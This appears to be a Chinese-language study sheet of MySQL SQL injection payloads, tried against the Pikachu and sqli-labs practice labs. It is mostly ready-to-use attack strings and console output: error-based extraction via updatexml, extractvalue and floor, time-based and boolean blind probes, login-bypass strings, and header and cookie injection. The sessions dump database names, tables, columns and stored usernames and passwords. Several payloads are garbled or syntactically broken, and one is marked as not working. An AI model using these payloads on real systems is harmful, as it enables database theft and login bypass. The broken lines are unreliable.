Payload: pikachu insert username=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit #这个payload我用了好像不行
username=x' or updatexml(1,concat(0x7e,(version())),0) or '&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
username=x' or extractvalue(1,concat(0x7e,database())) or '&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit #类似这种【0x7e的这个其实就是一个波浪线,为什么需要其实就是为了在注入的时候,让你想要的数据更加显眼,容易找到,还有一个重要的原因就是用工具进行注入的时候,可以把这个作为一个标识符,让工具识别】
pikachu update sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or updatexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&add=Nicky' or extractvalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit
延时盲注:利用 and 链接正确语句,让if判断脚本对错,两个联合起来再通过时间来给出反馈,判断脚本是否执行正确。 and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+
1、通过floor报错,注入语句如下: and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下: and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下: and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通过NAME_CONST报错,注入语句如下: and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下: select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下: and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下: and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下: and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下: and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下: and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下: and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下: and linestring (()select * from(select user() )a)b );
关于POST注入
常用的万能username语句: a ’ or 1=1 # a “) or 1=1 # a‘) or 1=1 # a” or “1”=”1 ‘ or ‘1’=’1 ‘ or (length(database())) = 8 (用于输入’ “都没有错误) ‘ or (ascii(substr((select database()) ,1,1))) = 115 # (用于输入’ “都没有错误) “) or (“1”)=(“1 “) or 1=1 or if(1=1, sleep(1), null) # “) or (length(database())) = 8 # “) or (ascii(substr((select database()) ,1,1))) = 115 or if(1=1, sleep(1), null) #
User-Agent:………' or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) # Referer: ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) # Cookie:username: admin ’ or updatexml(1,concat(0x7e,database(),0x7e),1) #
updatexml报错注入
爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) 链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) 链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) 爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1) 爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1) 爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1) 爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
其中select * from users order by id desc;的desc是可控的传参值。
order by 与报错注入
下面进行报错注入
首先获取基本一些基本信息总结
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select database())),0)); ERROR 1105 (HY000): XPATH syntax error: '~security'//获取当前数据库 mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select version())),0)); ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'//获取数据库版本 mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select user())),0)); ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'//获取用户 mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select @@datadir)),0)); ERROR 1105 (HY000): XPATH syntax error: '~E:\soft\phpmystudy\MySQL\data\' //获取数据库路径 mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select @@version_compile_os)),0)); ERROR 1105 (HY000): XPATH syntax error: '~Win32' //获取操作系统 mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select @@basedir)),0)); ERROR 1105 (HY000): XPATH syntax error: '~E:/soft/phpmystudy/MySQL/' //mysql安装路径 mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select session_user())),0)); ERROR 1105 (HY000): XPATH syntax error: '~root@localhost' //获取连接数据库的用户名 mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select current_user())),0)); ERROR 1105 (HY000): XPATH syntax error: '~root@localhost' //获取当前用户名 mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select system_user())),0)); ERROR 1105 (HY000): XPATH syntax error: '~root@localhost' //获取系统用户名 mysql>
图片.png
获取数据信息
获取数据库个数
1 2 3 4 5 6 7
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0)); ERROR 1105 (HY000): XPATH syntax error: '~11' mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(schema_name) from information_schema.schemata)),0)); ERROR 1105 (HY000): XPATH syntax error: '~11' mysql>
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),0)); ERROR 1105 (HY000): XPATH syntax error: '~information_schema' mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),0)); ERROR 1105 (HY000): XPATH syntax error: '~challenges' mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),0)); ERROR 1105 (HY000): XPATH syntax error: '~dvwa' mysql>
and(updatexml(1,concat(0x7e,(selectcount(*) from information_schema.tables where table_schema = "数据库名")),0))
1 2 3 4 5
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.tables where table_schema = "security")),0)); ERROR 1105 (HY000): XPATH syntax error: '~4' mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema = "security")),0)); ERROR 1105 (HY000): XPATH syntax error: '~4' mysql>
获取表名 payload:
1
and(updatexml(1,concat(0x7e,(selectgroup_concat(table_name) from information_schema.tables where table_schema = "数据库名")),0))
1 2 3 4 5 6 7 8 9
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = "security")),0)); ERROR 1105 (HY000): XPATH syntax error: '~emails,referers,uagents,users' mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 0,1)),0)); ERROR 1105 (HY000): XPATH syntax error: '~emails' mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 1,1)),0)); ERROR 1105 (HY000): XPATH syntax error: '~referers' mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = "security" limit 2,1)),0)); ERROR 1105 (HY000): XPATH syntax error: '~uagents' mysql>
获取某数据库中某个表字段信息
字段个数 payload:
1
and (updatexml(1,concat(0x7e,(selectcount(*) from information_schema.columns where table_schema = "数据库名"and table_name = "表名")),0))
1 2 3 4 5
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select count(*) from information_schema.columns where table_schema = "security"and table_name = "users")),0)); ERROR 1105 (HY000): XPATH syntax error: '~3' mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema = "security"and table_name = "users")),0)); ERROR 1105 (HY000): XPATH syntax error: '~3' mysql>
获取字段名,字段多的需要单条获取 payload:
1
and (updatexml(1,concat(0x7e,(selectgroup_concat(column_name) from information_schema.columns where table_schema = "数据库名"and table_name = "表名")),0))
1 2 3 4 5 6 7 8 9
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = "security"and table_name = "users")),0)); ERROR 1105 (HY000): XPATH syntax error: '~id,username,password' mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = "security"and table_name = "users" limit 0,1)),0)); ERROR 1105 (HY000): XPATH syntax error: '~id' mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = "security"and table_name = "users" limit 1,1)),0)); ERROR 1105 (HY000): XPATH syntax error: '~username' mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema = "security"and table_name = "users" limit 2,1)),0)); ERROR 1105 (HY000): XPATH syntax error: '~password' mysql>
最后获取想要的信息就简单了
1 2 3 4 5 6 7
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select username,password from users limit 0,1)),0)); ERROR 1241 (21000): Operand should contain 1 column(s) mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)); ERROR 1105 (HY000): XPATH syntax error: '~Dumb' mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)); ERROR 1105 (HY000): XPATH syntax error: '~Dumb' mysql>
#判断当前数据库长度 ?id=12' and (select length(database())>5) --+ #判断当前数据库名 ?id=12' and (select ascii(substr(database(),1,1))>=97) --+ #判断第一个表的表长度 ?id=12' and (select length(table_name)>5 from information_schema.tables where table_schema=database() limit 0,1) --+ #判断第二个表名 ?id=12' and (select ascii(substr(table_name,1,1))>97 from information_schema.tables where table_schema=database() limit 1,1) --+ #判断users表的第一个字段长度 ?id=12' and (select length(column_name)>1 from information_schema.columns where table_schema=database() and table_name='users' limit 0,1) --+ #判断users表的第一个字段名 ?id=12' and (select ascii(substr(column_name,1,1))>65 from information_schema.columns where table_schema=database() and table_name='users' limit 0,1) --+ #判断username列的第一条数据长度 ?id=12' and (select length(username)>1 from users limit 0,1) --+ #判断username列的第一条数据 ?id=12' and (select ascii(substr(username,1,1))>=65 from users limit 0,1) --+